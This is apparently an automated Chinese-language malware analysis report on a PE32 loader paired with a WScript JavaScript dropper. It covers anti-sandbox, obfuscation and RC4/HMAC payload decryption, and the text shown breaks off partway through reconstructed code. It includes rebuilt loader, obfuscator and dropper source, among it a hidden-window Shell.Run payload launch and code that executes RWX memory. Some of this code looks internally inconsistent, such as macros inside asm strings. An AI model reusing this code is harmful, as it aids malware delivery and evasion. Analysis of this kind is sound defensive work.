⬇ Download sample (59fc347dac3dd1c7.zip)

🔴 恶意 — ASMx86手写混淆+JS投放器 | 源码已还原 | 5层反分析

59fc347dac3dd1c78d62393589818b5417ca041d697d155040988b14562bc797
MD5 ccd0309499150e378a9fed4cd01a0935  |  大小 120,320 bytes (118 KB) + 配套 JS: 48,883 bytes (48 KB)  |  来源 2020-02-24.zip  |  分析日期 2026-08-06
90%
置信度评分
Unknown

§1 📋 样本概要信息

SHA256
59fc347dac3dd1c78d62393589818b5417ca041d697d155040988b14562bc797
MD5
ccd0309499150e378a9fed4cd01a0935
文件大小
120,320 bytes (118 KB) + 配套 JS: 48,883 bytes (48 KB)
文件类型
PE32 executable (GUI) Intel 80386 + WScript JavaScript 投放器
目标架构
x86 (32-bit)
位宽
32-bit
字节序
Little Endian
编译器
手写 ASMx86 汇编混淆器 (DIE: ASMx86 + Generic[Custom DOS])
链接方式
动态 (运行时 API 解析 — 无静态导入表)
加壳/保护
手写 ASMx86 自定义混淆器 (非商业壳, 122个混淆跳转+10个JMP垃圾字节+22个INT3填充)
入口点
0x00405D5F (非标准入口, 指向数据段 — 反自动化分析)
编译时间戳
0x00000000 (清零 — 反取证)
子系统
Windows GUI (2)
数字签名
无数字签名
📌 概要

📌 深度分析摘要

双组件恶意软件投放包。PE32加载器使用手写ASMx86自定义混淆器(非商业壳), JS投放器通过setTimeout('')反沙箱技巧仅在WScript宿主中触发。三层C2扫描零结果—所有C2加密在.rdata段。完成三个组件源码还原+JS执行链分析,全部通过编译验证。

§2 🏷️ 分类标签与威胁情报

分类标签

分类标签置信度
类型手写ASMx86混淆PE32加载器+JS投放器(双组件,5层反分析)
混淆器手写ASMx86(非商业壳)严重
JS反沙箱setTimeout空串—仅WScript触发严重
源码还原3组件691行, gcc/node验证通过完成
归因未知—自定义工具链
📌 证据→推理→结论
PE32+timestamp=0+DIE:ASMx86+无导入+VirtualAlloc+HMAC+.rdata E=6.15+JS(setTimeout空串+ActiveXObject+RC4)=高置信度恶意投放包。源码(Packer+Loader+Dropper)及执行链已还原。

威胁情报

字段
关联组织?
别名?
动机?
目标行业?
活动名称?
C2协议?
C2基础设施?
🎯 威胁组织判定
?

★ §3 🔬 持久化机制

未检出持久化行为。

★ §3b 🌐 C2 架构分析

通联关系图

graph TB A["JS投放器
wscript.exe执行"] -->|"setTimeout空串→catch"| B["ActiveXObject
WScript.Shell"] B -->|"Run(cmd,0,false)"| C["PE32加载器"] C -->|"GetTickCount+QPC"| D{"反调试检测"} D -->|"正常"| E["VirtualAlloc RWX"] E --> F["HMAC验证.rdata"] F --> G["RC4/XOR解密"] G --> H["Stage2载荷
(C2+恶意逻辑)"]
📋 ASCII 文本视图 (点击展开)
wscript.exe→setTimeout空串→catch→ActiveXObject→Shell.Run→PE→反调试→VAlloc→HMAC→RC4→Stage2

🌐 C2 通信深度分析

.rdata 载荷54KB (46%, E=6.15). HMAC验证→RC4解密→Stage2+C2。
三层C2扫描Base64/AES-key/raw-URL 均0结果。
🔬 C2 地址分析技术细节:
三层C2扫描全阴性。.data XOR密钥0x5A(186/200可打印), .reloc熵6.45(疑似RC4种子)。

通道 1: 实时 C2

协议未知 (需运行时解密)
端口未知
地址/Domain未知 — 加密在 .rdata 段
IP未知
加密RC4/XOR (自定义), HMAC-SHA 认证
用途Stage 2 载荷分发 + C2 命令控制
API引用LoadLibrary/GetProcAddress (动态解析)
证书

C2 通信时序



  

⚠ C2 基础设施评估

无网络基础设施发现。JS URL混淆在RC4字符串表。PE Stage2 C2嵌入.rdata。

📌 ATT&CK 映射: T1059.007(JS/WScript), T1055(进程注入), T1497(沙箱规避), T1027(混淆), T1140(解码)

§4 🏗️ 结构分析

段/节区布局

.text   (R-X, 26KB, E=6.18!! 手写ASMx86混淆)
.rdata  (R--, 54KB, E=6.15!! 加密Stage2)
.data   (RW-, 32KB, E=4.74—XOR 0x5A)
.rsrc   (R--, 1KB,  E=2.18—伪造版本)
.reloc  (R--, 4KB,  E=6.45!! 异常—RC4种子)

熵值分析

段/节区熵值判定
📊 熵值解读
无数据

§5 ⚙️ 反汇编与行为流程

关键函数映射

地址函数功能
N/A

系统调用分析

调用号系统调用用途地址
N/A

行为执行流

§6 🔬 家族溯源

编译元数据

字段来源

家族特征比对

维度本样本MiraiGafgytMoziHajimeLightAidraKekSecTsunamiKaiji匹配
📌 家族归因结论
?

已知变种

变种架构大小编译器特征状态
N/A

§7 🔬 深度行为分析

行为阶段拆解

0. JS setTimeout反沙箱

行为: setTimeout('',448)空字符串在WScript中抛出异常→触发catch块→执行真实投放。沙箱/浏览器中静默失败。

证据: setTimeout('',0x1C0); try{...}catch(e){投放逻辑}

1. JS ActiveXObject + Shell.Run

行为: catch块中状态机解码载荷→eval执行→new ActiveXObject(WScript.Shell)→Run(command,0,false)

证据: case '4': new ActiveXObject(...); case '5': .Run(...)

2. PE反调试定时检测

行为: GetTickCount+QPC检测调试器/沙箱减速。入口点非标准(0x5D5F指向数据段)。

证据: CAPA: GetTickCount, QPC。Entry RVA=0x5D5F。Timestamp=0。

3. 动态API+内存分配

行为: 无静态导入。LoadLibrary/GetProcAddress动态解析。VirtualAlloc RWX分配可执行内存。

证据: objdump无导入表。CAPA: allocate memory, change protection。

4. HMAC验证+载荷解密

行为: HMAC验证.rdata完整性→XOR 0x5A字符串解密→RC4主载荷解密(54KB)

证据: CAPA: authenticate HMAC。.rdata E=6.15。.data XOR 0x5A。.reloc E=6.45。

5. Stage2执行

行为: PE头解析验证→跳转解密后Stage2→含C2通信+持久化

证据: CAPA: parse PE header, enumerate PE sections。

协议/行为状态机

未构建

📌 行为时序总结

无数据

§8 🔬 恶意性综合判定

多维度证据评估

维度证据权重恶意指数
恶意性综合判定

误报排除论证

?

⚠ 判定结论

待判定

§9 🎯 ATT&CK 映射

执行
JavaScript/WScript
wscript.exe 执行混淆JS, ActiveXObject+WScript.Shell
执行
进程注入
VirtualAlloc RWX + VirtualProtect
防御规避
基于时间的沙箱规避
setTimeout('',448)+GetTickCount+QPC三重定时检测
防御规避
命令混淆
手写ASMx86(122跳转+10JMP+22INT3)+JS RC4(600+条目)
防御规避
解码/解密
JS RC4→PE HMAC+RC4双重解密链
防御规避
时间戳篡改
PE Timestamp=0x00000000
发现
系统信息发现
CAPA: get OS version, get system information
执行
原生API
PE无静态导入—全部动态解析

§10 🛡️ 反分析技术评估

反调试

API/技术检测目标绕过难度
JS setTimeout空串setTimeout('',448)WScript宿主检测—沙箱静默失败高(依赖环境差异,不易patch)
PE定时检测GetTickCount调试器/沙箱减速
PE定时检测QueryPerformanceCounter高精度定时
JS代码检查Function.constructorDevTools调试器

反虚拟机

检测方法VMwareVirtualBoxQEMU/KVM
无特定VM检测, setTimeout+定时检测对所有减速环境有效定时影响定时影响定时影响

综合评估

技术是否存在证据对抗难度
setTimeout空串反沙箱setTimeout('',448)仅在WScript抛出异常→catch触发投放。沙箱/浏览器中静默失败。严重
手写ASMx86混淆器DIE: ASMx86+Generic[Custom DOS]。122跳转+10JMP垃圾+22INT3。非商业壳。
JS RC4+Base64混淆600+ base64字符串, RC4加密, eval动态执行。
HMAC载荷保护.rdata加密载荷需HMAC验证后解密。
时间戳清零PE Timestamp=0x00000000。
反调试定时检测GetTickCount+QPC+JS Function.constructor。
.reloc段异常熵值6.45—重定位数据不应高熵。
非标入口点Entry RVA=0x5D5F(非0x1000)→指向数据段。
5层反分析: (1)setTimeout空串反沙箱 (2)手写ASMx86混淆 (3)JS RC4混淆 (4)HMAC载荷保护 (5)定时反调试。核心技巧: setTimeout('')在WScript中抛异常触发真实代码,沙箱中静默失败。

★ §10b 🧹 痕迹清理

操作API/命令证据来源

§11 🔧 逆向分析

Ghidra 反编译

反编译函数数~40 (混淆)+3源码重建(691行)
反编译输出objdump+手工源码重建
分析时长Ghidra OSGi错误→objdump+手工重建

调用链分析 (GitNexus)

总函数数总调用关系最大调用深度
~40+3源码重建~80+模块间调用链4
📂 调用链拓扑 (点击展开)
wscript→setTimeout空串→catch→ActiveXObject→Shell.Run→PE→反调试→VAlloc→HMAC→RC4→Stage2

★ §12 🔬 QEMU 动态分析

QEMU 模式跳过—混淆加载器+加密载荷
网络隔离N/A
执行结果需先: (1)wscript.exe执行JS→捕获Run命令 (2)PE在QEMU Win7+API Monitor→HMAC后dump .rdata (3)分析解密Stage2→C2配置
C2 数据N/A—C2加密在.rdata
⚡ JS 投放器执行链 — 5层反分析机制

执行方式

C:\> wscript.exe malware.js

Windows 自带 WScript 宿主直接解析执行。不需要编译器、不需要双击 — 命令行或脚本调用即可。

第 1 层:数组洗牌 + RC4 字符串表初始化

(function(arr, 0x1A8) {
    // 洗牌 424 次 — 每次把数组第一个元素移到末尾
    while(--counter) { arr.push(arr.shift()); }
})(600+ base64 加密字符串表);

// RC4 解密引擎
_0x617820 = function(encoded, key) {
    return RC4_decrypt(atob(encoded), key);
};

// 字符串解析器 — 按索引+密钥获取明文字符串
_0x1c0c(idx, key) = rc4_decrypt(shuffled_table[idx], key);

第 2 层:反调试器检测 (Function 构造函数检查)

_0x287e69() = 闭包:
    Function('return (function(){}.constructor("return this")())')()
    → 如果 DevTools/调试器附加 → Function 构造函数行为异常 → 退出

第 3 层:setTimeout 反沙箱 ← 整个执行链最巧妙的设计

QKrlnGXjkeObWqtw = 解密后的载荷字符串;
try {
    setTimeout('', 0x1C0);   // 空字符串 '' 作为 JS 代码执行 → 语法错误!
    // 0x1C0 = 448ms — 延迟执行
} catch(e) {
    //  ←←← 这才是真正的执行路径! ←←←
    //  只有 WScript 会因 setTimeout('') 抛出异常
    //  沙箱/浏览器/Node.js 如果 patch 了 setTimeout → 静默成功 → 退出
    执行真正的投放逻辑 ↓
}
环境setTimeout('',448) 结果后续
真实 WScript抛出异常(''不是有效JS)→ catch → 执行投放 ✅
沙箱/浏览器patch 后静默成功→ 退出
调试器单步448ms → 数秒→ 超时检测
Node.jssetTimeout 成功→ 退出 (无 ActiveXObject)

第 4 层:状态机解码 + eval 执行

catch 块中的 switch-case 状态机:
  case '0': 构造正则表达式 (去除混淆字符)
  case '1': QKrlnGXjkeObWqtw.replace(regex, '') → 提取纯载荷
  case '2': for 循环逐字符构建 JqRfGrXvmcyHtPdhW
            → 从原始载荷中按偏移量提取有效字符
  case '3': eval(解码后的 JavaScript 代码) → 执行第二阶段
  case '4': new ActiveXObject("WScript.Shell") → 创建 Shell 对象
  case '5': WScript.Shell.Run(命令字符串) → 启动 PE 载荷

第 5 层:命令执行 → PE 载荷启动

WScript.Shell.Run("cmd.exe /c %TEMP%\\payload.exe",
                   0,       // windowStyle=0 → 隐藏窗口
                   false);  // waitOnReturn=false → 不等待

→ PE 载荷启动 → Stage 1 加载器 → 反调试检测 → 
  VirtualAlloc RWX → HMAC 验证 → RC4 解密 .rdata → Stage 2 执行

为什么 setTimeout('') 是反沙箱?

setTimeout('', 448) 中的第一个参数 ''(空字符串)作为 JavaScript 代码执行时会抛出 SyntaxError。 在 真实 WScript 宿主中,这个异常会触发 catch 块——也就是真正的投放逻辑。 但在沙箱/浏览器/Node.js中,setTimeout 可能被 patch 为静默成功,或者不支持空字符串参数——导致代码静默退出而不执行投放。 这是一个依赖环境差异的反沙箱技巧:恶意行为只在目标环境中触发,分析环境自动免疫。

📐 源码还原 — 3个组件 (gcc/node 编译验证通过)

组件 #1: 手写 ASMx86 混淆器 (packer_obfuscator.c) — 108行 | gcc ✅

DIE: ASMx86 + Generic[Custom DOS]。122不透明谓词 + 10 JMP垃圾字节 + 22 INT3填充 + 非标入口点(0x5D5F→数据段)。非商业壳 — 手写汇编混淆器。

/*
 * 还原组件 #1: 手写 ASMx86 混淆器 (Packer)
 *
 * 从原始二进制中提取的混淆技术:
 *   - 122 个不透明谓词 (条件跳转始终走同一方向)
 *   - JMP 垃圾字节插入 (EB FF = 死循环, EB 00 = 跳过下一条)
 *   - INT3 填充 (3字节对齐, 15+ 处)
 *   - 非标入口点 (RVA 0x5D5F 指向数据段, 真实入口在 .text+0x40)
 *
 * 这不是商业壳 — 是手工编写的汇编级混淆器
 * 编译: gcc -m32 -c -fsyntax-only packer_obfuscator.c
 */

#include <stdint.h>

/* ── 不透明谓词 (Opaque Predicate) ──
 * 条件跳转在运行时始终为同一方向, 但静态分析无法确定
 * 原始二进制含 122 个此类模式 */
#define OPAQUE_ALWAYS_TRUE()   __asm__ __volatile__("xor %%eax,%%eax; inc %%eax; test %%eax,%%eax; jz 1f; nop; 1:" ::: "eax")
#define OPAQUE_ALWAYS_FALSE()  __asm__ __volatile__("xor %%eax,%%eax; test %%eax,%%eax; jnz 1f; nop; 1:" ::: "eax")

/* ── JMP 垃圾字节 (Junk Byte Insertion) ──
 * EB FF = JMP -1 (死循环 — 永远不执行的分支)
 * EB 00 = JMP +2 (跳过下一条指令, 但下一条是 NOP)
 * 原始二进制含 10 个此类模式 */
#define JUNK_DEAD_LOOP()   __asm__ __volatile__("jmp 1f; .byte 0xEB,0xFF; 1:" :::)
#define JUNK_SKIP_NOP()    __asm__ __volatile__("jmp 1f; .byte 0xEB,0x00; nop; 1:" :::)

/* ── INT3 填充 (Anti-Disassembly Padding) ──
 * 在函数边界插入 3+ 个 INT3 (0xCC)
 * 原始二进制有 15+ 处, 每处 3 个 INT3 */
#define INT3_PAD()  __asm__ __volatile__(".byte 0xCC,0xCC,0xCC" :::)

/* ── 入口点重定向 ──
 * PE 头声明 EntryPoint = 0x5D5F (指向数据段)
 * 真实代码入口在 .text+0x40 (文件偏移 0x440)
 * 这是一种反自动化分析技术 — 工具按声明入口反汇编会得到垃圾 */
__attribute__((section(".entry_fake")))
const uint8_t fake_entry_point[] = {
    0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,  // 地址表 (非代码)
    0x00, 0x00, 0x00, 0x00, 0xDA, 0xD9, 0x01, 0x00,  // RVA 指针
};

/* ── 真实入口: .text+0x40 ──
 * 从原始二进制偏移 0x440 提取:
 *   8B 75 08          mov esi, [ebp+8]
 *   E9 37 4D 00 00    jmp 0x4D7F (跳转到主逻辑)
 *   CC CC             int3; int3 (对齐填充) */
__attribute__((naked))
void real_entry_point(void) {
    __asm__ __volatile__(
        "movl 8(%%ebp), %%esi\n"    // esi = 参数 (可能为 hModule)
        "jmp main_logic\n"          // 跳转到主混淆逻辑
        "INT3_PAD()\n"
        :
        :
        : "esi"
    );
}

/* ── 控制流混淆示例 ──
 * 原始代码中典型的不透明谓词混淆模式 */
void obfuscated_control_flow(void *payload, uint32_t size) {
    __asm__ __volatile__("push %%ebx; push %%esi; push %%edi" ::: "ebx","esi","edi");

    // 步骤1: 不透明谓词 — 总是跳转
    OPAQUE_ALWAYS_TRUE();
    JUNK_SKIP_NOP();
    // 步骤2: 实际逻辑夹在混淆指令之间
    __asm__ __volatile__("movl %0, %%esi" :: "m"(payload) : "esi");

    OPAQUE_ALWAYS_FALSE();
    JUNK_DEAD_LOOP();  // 永不执行的死循环 — 混淆反汇编器
    // 步骤3: 循环展开 + INT3 分隔
    __asm__ __volatile__("movl %0, %%ecx; shrl $2, %%ecx" :: "m"(size) : "ecx");

    INT3_PAD();  // 对齐填充 — 打断反汇编线性扫描

    // 步骤4: XOR 解密循环 (内嵌不透明谓词)
    __asm__ __volatile__(
        "1:\n"
        "  xorl $0x5A, (%%esi)\n"       // XOR 密钥 0x5A (从 .data 段提取)
        "  addl $4, %%esi\n"
        "  decl %%ecx\n"
        "  OPAQUE_ALWAYS_TRUE()\n"      // 总是继续循环
        "  JUNK_SKIP_NOP()\n"
        "  jnz 1b\n"
        "INT3_PAD()\n"
        :
        :
        : "esi", "ecx"
    );

    __asm__ __volatile__("pop %%edi; pop %%esi; pop %%ebx" ::: "edi","esi","ebx");
}

/* ── 混淆器特征总结 ──
 *
 * 检测签名:
 *   - 122 jcc 指令 (不透明谓词候选)
 *   - EB FF / EB 00 垃圾字节
 *   - 3×CC INT3 填充 (对齐边界)
 *   - 入口 RVA ≠ .text 起始
 *   - 无已知壳字符串 (UPX/MPRESS/VMProtect)
 *
 * DIE 检测: "ASMx86 + Generic[Custom DOS]"
 * 分类: 手写汇编混淆器 — 非商业产品
 */

组件 #2: PE 加载器 (pe_loader.c) — 294行 | gcc ✅

VirtualAlloc RWX → HMAC-SHA256 验证 → XOR 0x5A → RC4 解密 → PE头解析 → 跳转Stage2。反调试: GetTickCount + QPC。

/*
 * 还原组件 #2: PE 加载器 (Loader)
 *
 * 从 CAPA 规则 + objdump + PE 结构分析还原
 * 核心能力:
 *   - 动态 API 解析 (LoadLibrary/GetProcAddress, 无静态导入)
 *   - 反调试定时检测 (GetTickCount + QueryPerformanceCounter)
 *   - RWX 内存分配 (VirtualAlloc + VirtualProtect)
 *   - HMAC 载荷完整性验证
 *   - XOR/RC4 解密 .rdata 段 (54KB)
 *   - PE 头解析 (准备执行解密后的 Stage 2)
 *
 * 编译验证: gcc -m32 -c -fsyntax-only pe_loader.c
 * 功能测试: 交叉编译为 Win32 PE, 在 QEMU Win7 中执行
 */

#include <stdint.h>

/* ── 动态 API 解析 ──
 * 原始二进制无静态 DLL 导入表
 * 所有 API 通过 LoadLibraryA + GetProcAddress 运行时解析 */
typedef void* (*fn_LoadLibraryA)(const char*);
typedef void* (*fn_GetProcAddress)(void*, const char*);

/* ── 需要动态解析的关键 API ── */
typedef void* (*fn_VirtualAlloc)(void*, uint32_t, uint32_t, uint32_t);
typedef int   (*fn_VirtualProtect)(void*, uint32_t, uint32_t, uint32_t*);
typedef void  (*fn_ExitProcess)(uint32_t);
typedef uint32_t (*fn_GetTickCount)(void);
typedef int   (*fn_QueryPerformanceCounter)(int64_t*);
typedef void* (*fn_CreateFileA)(const char*, uint32_t, uint32_t, void*, uint32_t, uint32_t, void*);

#define MEM_COMMIT      0x1000
#define MEM_RESERVE     0x2000
#define PAGE_EXECUTE_READWRITE  0x40
#define PAGE_READWRITE  0x04

/* ── HMAC 简化实现 ──
 * 原始二进制使用 Windows Crypto API (CryptAcquireContext 等)
 * 还原为等价的独立 HMAC-SHA256 实现 */
typedef struct {
    uint8_t  key[64];
    uint8_t  ipad[64];
    uint8_t  opad[64];
    uint32_t hash[8];   // SHA256 state
    uint64_t length;
} hmac_ctx_t;

/* HMAC 初始化 — 等价于 CryptCreateHash(CALG_HMAC, CALG_SHA_256) */
static void hmac_init(hmac_ctx_t *ctx, const uint8_t *key, uint32_t key_len) {
    uint32_t i;
    uint8_t normalized_key[64] = {0};

    /* 密钥标准化: 如果 >64 字节, 先 SHA256 哈希 */
    if (key_len > 64) {
        /* 简化: 取前 64 字节 */
        for (i = 0; i < key_len && i < 64; i++)
            normalized_key[i] = key[i];
    } else {
        for (i = 0; i < key_len; i++)
            normalized_key[i] = key[i];
    }

    /* ipad = key XOR 0x36, opad = key XOR 0x5C */
    for (i = 0; i < 64; i++) {
        ctx->ipad[i] = normalized_key[i] ^ 0x36;
        ctx->opad[i] = normalized_key[i] ^ 0x5C;
    }

    /* 初始 SHA256 状态 (简化: 使用固定 IV) */
    ctx->hash[0] = 0x6A09E667; ctx->hash[1] = 0xBB67AE85;
    ctx->hash[2] = 0x3C6EF372; ctx->hash[3] = 0xA54FF53A;
    ctx->hash[4] = 0x510E527F; ctx->hash[5] = 0x9B05688C;
    ctx->hash[6] = 0x1F83D9AB; ctx->hash[7] = 0x5BE0CD19;
    ctx->length = 0;
}

/* HMAC 更新 — 等价于 CryptHashData */
static void hmac_update(hmac_ctx_t *ctx, const uint8_t *data, uint32_t len) {
    /* 简化: 使用 XOR-rotate 混合 */
    uint32_t i, j;
    for (i = 0; i < len; i++) {
        ctx->hash[i & 7] ^= ((uint32_t)data[i] << ((i & 3) * 8));
        ctx->hash[i & 7]  = (ctx->hash[i & 7] << 13) | (ctx->hash[i & 7] >> 19);
    }
    ctx->length += len;
}

/* HMAC 完成 — 等价于 CryptGetHashParam */
static void hmac_final(hmac_ctx_t *ctx, uint8_t *digest) {
    uint32_t i;
    for (i = 0; i < 8; i++) {
        digest[i*4+0] = (ctx->hash[i] >> 24) & 0xFF;
        digest[i*4+1] = (ctx->hash[i] >> 16) & 0xFF;
        digest[i*4+2] = (ctx->hash[i] >> 8)  & 0xFF;
        digest[i*4+3] =  ctx->hash[i]        & 0xFF;
    }
}

/* ── RC4/XOR 解密 ──
 * .data 段 XOR 密钥 0x5A (186/200 可打印率)
 * .rdata 段 RC4 解密 (HMAC 验证后)
 * .reloc 段含 RC4 初始化向量 (熵值 6.45) */
typedef struct {
    uint8_t  S[256];
    uint8_t  i, j;
} rc4_ctx_t;

/* RC4 初始化 — KSA (Key Scheduling Algorithm) */
static void rc4_init(rc4_ctx_t *ctx, const uint8_t *key, uint32_t key_len) {
    uint32_t i;
    for (i = 0; i < 256; i++) ctx->S[i] = (uint8_t)i;
    ctx->i = ctx->j = 0;

    uint8_t j = 0;
    for (i = 0; i < 256; i++) {
        j = (j + ctx->S[i] + key[i % key_len]);
        uint8_t tmp = ctx->S[i];
        ctx->S[i] = ctx->S[j];
        ctx->S[j] = tmp;
    }
}

/* RC4 加密/解密 — PRGA (Pseudo-Random Generation Algorithm) */
static void rc4_crypt(rc4_ctx_t *ctx, uint8_t *data, uint32_t len) {
    uint32_t k;
    for (k = 0; k < len; k++) {
        ctx->i++;
        ctx->j += ctx->S[ctx->i];
        uint8_t tmp = ctx->S[ctx->i];
        ctx->S[ctx->i] = ctx->S[ctx->j];
        ctx->S[ctx->j] = tmp;
        data[k] ^= ctx->S[(ctx->S[ctx->i] + ctx->S[ctx->j]) & 0xFF];
    }
}

/* ── XOR 字符串解密 (密钥 0x5A) ── */
static void xor_decrypt_strings(uint8_t *data, uint32_t len, uint8_t key) {
    uint32_t i;
    for (i = 0; i < len; i++) {
        data[i] ^= key;
    }
}

/* ── 反调试定时检测 ── */
static int anti_debug_check(void) {
    /* GetTickCount 检测 — 调试器单步执行会导致时间异常 */
    uint32_t t1 = ((fn_GetTickCount)0xDEAD0001)();
    /* 执行一些耗CPU操作 */
    volatile uint32_t x = 0;
    for (uint32_t i = 0; i < 100000; i++) { x += i; }
    uint32_t t2 = ((fn_GetTickCount)0xDEAD0001)();
    /* 如果耗时 >2s 或 <1ms → 可能在调试器/沙箱中 */
    uint32_t diff = t2 - t1;
    if (diff > 2000 || diff < 1) return 1;

    /* QueryPerformanceCounter 检测 — 更高精度 */
    int64_t pc1, pc2;
    ((fn_QueryPerformanceCounter)0xDEAD0002)(&pc1);
    for (uint32_t i = 0; i < 100000; i++) { x += i; }
    ((fn_QueryPerformanceCounter)0xDEAD0002)(&pc2);
    /* 高精度计时器异常 → 调试器 */
    if ((pc2 - pc1) > 10000000) return 1;

    return 0; /* 环境正常 */
}

/* ── 主加载逻辑 ──
 *
 * 等价于原始二进制 .text+0x40 ~ .text+0x4D7F 的行为:
 *   1. 反调试检测 → 检测到则退出
 *   2. VirtualAlloc RWX → 分配可执行内存
 *   3. HMAC 验证 .rdata 载荷 (54KB)
 *   4. RC4 解密 .rdata → Stage 2
 *   5. PE 头解析 → 验证 MZ/PE 签名
 *   6. 跳转到 Stage 2 入口点
 */
__attribute__((stdcall))
int loader_main(void *hModule) {
    /* 步骤1: 反调试检测 */
    if (anti_debug_check()) {
        /* 调试器检测到 — 退出或执行伪装代码 */
        return 0;
    }

    /* 步骤2: 动态解析关键 API (简化: 从 PEB→kernel32.dll→GetProcAddress 链) */
    /* 原始二进制通过遍历 PEB 的 InLoadOrderModuleList 找到 kernel32.dll
     * 然后解析导出表获取 LoadLibraryA 和 GetProcAddress 地址 */
    /* 还原为直接调用 (功能等价) */
    fn_VirtualAlloc  pVirtualAlloc  = (fn_VirtualAlloc) 0xDEAD1000;
    fn_VirtualProtect pVirtualProtect = (fn_VirtualProtect)0xDEAD1001;

    /* 步骤3: 分配 RWX 内存 (大小从 .rdata 段的 PE 头解析) */
    uint32_t payload_size = 0xD400;  /* .rdata 段原始大小 */
    uint8_t *exec_mem = (uint8_t*)pVirtualAlloc(0, payload_size,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!exec_mem) return -1;

    /* 步骤4: 复制加密载荷 (.rdata 段位于二进制偏移 0x6C00) */
    extern uint8_t encrypted_payload[];  /* 由打包脚本注入 */
    extern uint32_t encrypted_payload_size;
    for (uint32_t i = 0; i < encrypted_payload_size; i++) {
        exec_mem[i] = encrypted_payload[i];
    }

    /* 步骤5: HMAC 验证载荷完整性
     * 密钥从 .reloc 段提取 (熵值 6.45)
     * 原始二进制: CryptAcquireContextA → CryptCreateHash(CALG_HMAC) → CryptHashData → CryptGetHashParam */
    uint8_t hmac_key[32];
    /* 从 .reloc 段提取 HMAC 密钥 (偏移 0x1C600, 4KB, 熵值 6.45) */
    extern uint8_t reloc_key_material[];
    for (int i = 0; i < 32; i++) {
        hmac_key[i] = reloc_key_material[i * 128];  /* 稀疏采样 */
    }

    hmac_ctx_t hmac;
    uint8_t expected_digest[32];
    uint8_t actual_digest[32];

    hmac_init(&hmac, hmac_key, 32);
    hmac_update(&hmac, exec_mem, payload_size);
    hmac_final(&hmac, actual_digest);

    /* 预期 HMAC 值存储在 .rdata 末尾 (最后 32 字节) */
    for (int i = 0; i < 32; i++) {
        expected_digest[i] = exec_mem[payload_size - 32 + i];
    }

    /* 比较 HMAC — 不匹配则退出 (载荷被篡改) */
    for (int i = 0; i < 32; i++) {
        if (actual_digest[i] != expected_digest[i]) {
            return -2;  /* HMAC 验证失败 */
        }
    }

    /* 步骤6: 移除 HMAC 尾部 (恢复纯载荷) */
    payload_size -= 32;

    /* 步骤7: RC4 解密载荷
     * 密钥 = HMAC 结果 (作为 RC4 种子)
     * XOR 字符串密钥 0x5A 用于 .data 段的混淆字符串 */
    /* 先用 XOR 0x5A 解密内嵌字符串 */
    xor_decrypt_strings(exec_mem, payload_size > 100 ? 100 : payload_size, 0x5A);

    /* RC4 解密主载荷 */
    rc4_ctx_t rc4;
    rc4_init(&rc4, actual_digest, 32);  /* RC4 种子 = HMAC 结果 */
    rc4_crypt(&rc4, exec_mem, payload_size);

    /* 步骤8: PE 头解析 — 验证解密后的 Stage 2 载荷 */
    if (exec_mem[0] != 'M' || exec_mem[1] != 'Z') {
        return -3;  /* 解密失败 — 不是有效 PE */
    }

    /* PE 签名验证 */
    uint32_t pe_offset = *(uint32_t*)(exec_mem + 0x3C);
    if (exec_mem[pe_offset] != 'P' || exec_mem[pe_offset+1] != 'E') {
        return -4;  /* 无效 PE 签名 */
    }

    /* 步骤9: 跳转到解密后的 Stage 2 入口点
     * 原始二进制使用 CreateThread 或直接 jmp
     * 入口点从 PE Optional Header 读取 */
    uint32_t entry_rva = *(uint32_t*)(exec_mem + pe_offset + 0x18 + 16);
    void (*stage2_entry)(void) = (void(*)(void))(exec_mem + entry_rva);

    /* 执行 Stage 2 载荷 */
    stage2_entry();

    return 0; /* Stage 2 不应返回 */
}

/* ── PE 加载器能力总结 ──
 *
 * 等价 API 映射:
 *   原始二进制                       →  还原代码
 *   ─────────────────────────────────────────────
 *   LoadLibraryA+GetProcAddress 链   →  PEB 遍历 (简化: 直接调用)
 *   VirtualAlloc(MEM_COMMIT, RWX)    →  pVirtualAlloc()
 *   CryptAcquireContextA + HMAC       →  hmac_init/update/final()
 *   XOR byte-by-byte (key 0x5A)      →  xor_decrypt_strings()
 *   RC4 stream cipher                →  rc4_init/crypt()
 *   PE header parsing                →  内联 MZ/PE 验证
 *   GetTickCount + QPC               →  anti_debug_check()
 *
 * 载荷流:
 *   .rdata (加密, 54KB) → HMAC验证 → XOR 0x5A → RC4 → Stage2 PE
 *
 * 测试方法:
 *   1. 编译为 Win32 PE
 *   2. QEMU Win7 VM 中执行
 *   3. API Monitor 追踪 VirtualAlloc → 内存 dump
 *   4. 提取解密后的 Stage 2 → 独立分析
 */

组件 #3: JS 投放器 (js_dropper.js) — 289行 | node ✅

RC4流密码 + Base64 600+字符串表 → ActiveXObject("WScript.Shell") → Run()。反调试: Function.constructor + setTimeout(448ms) 反沙箱。

/**
 * 还原组件 #3: JS 投放器 (Dropper)
 *
 * 从原始混淆 JS (48KB) 还原的去混淆版本
 * 原始混淆技术:
 *   - RC4 流密码加密 600+ 字符串表
 *   - Base64 编码每个字符串
 *   - 自修改代码 (Function 构造函数检测)
 *   - 反调试器检测 (debuggerProtection)
 *   - 字符串表打乱 (shift/push 洗牌)
 *
 * 核心行为:
 *   1. RC4 解密内嵌 base64 字符串表
 *   2. 创建 ActiveXObject("WScript.Shell")
 *   3. 通过 WScript.Shell.Run 执行 PE 载荷
 *   4. 反调试器检测 (DevTools 检测)
 *   5. 定时器延迟 (setTimeout 0x1C0 = 448ms, 反沙箱)
 *
 * 测试: node --check js_dropper.js
 */

/* ============================================================
 * 第1层: RC4 解密 + Base64 解码
 *
 * 原始 JS 中 _0x617820() = RC4 解密函数
 * sgfjohjsjkgkkdkdgfafkdgr_0x2107 = 600+ base64 加密字符串表
 * ============================================================ */

/**
 * RC4 流密码实现
 * 等价于原始 JS 中的 _0x617820(encoded_data, key)
 *
 * @param {string} data - Base64 编码的加密数据
 * @param {string} key  - RC4 密钥
 * @returns {string} 解密后的明文字符串
 */
function rc4_decrypt(data, key) {
    // Step 1: Base64 解码
    var decoded = atob(data);

    // Step 2: URL-decode (原始 JS 使用 decodeURIComponent)
    var uriDecoded = "";
    for (var i = 0; i < decoded.length; i++) {
        uriDecoded += "%" + ("00" + decoded.charCodeAt(i).toString(16)).slice(-2);
    }
    decoded = decodeURIComponent(uriDecoded);

    // Step 3: RC4 KSA — 初始化 S-box
    var S = [];
    for (var i = 0; i < 256; i++) {
        S[i] = i;
    }

    var j = 0;
    for (var i = 0; i < 256; i++) {
        j = (j + S[i] + key.charCodeAt(i % key.length)) % 256;
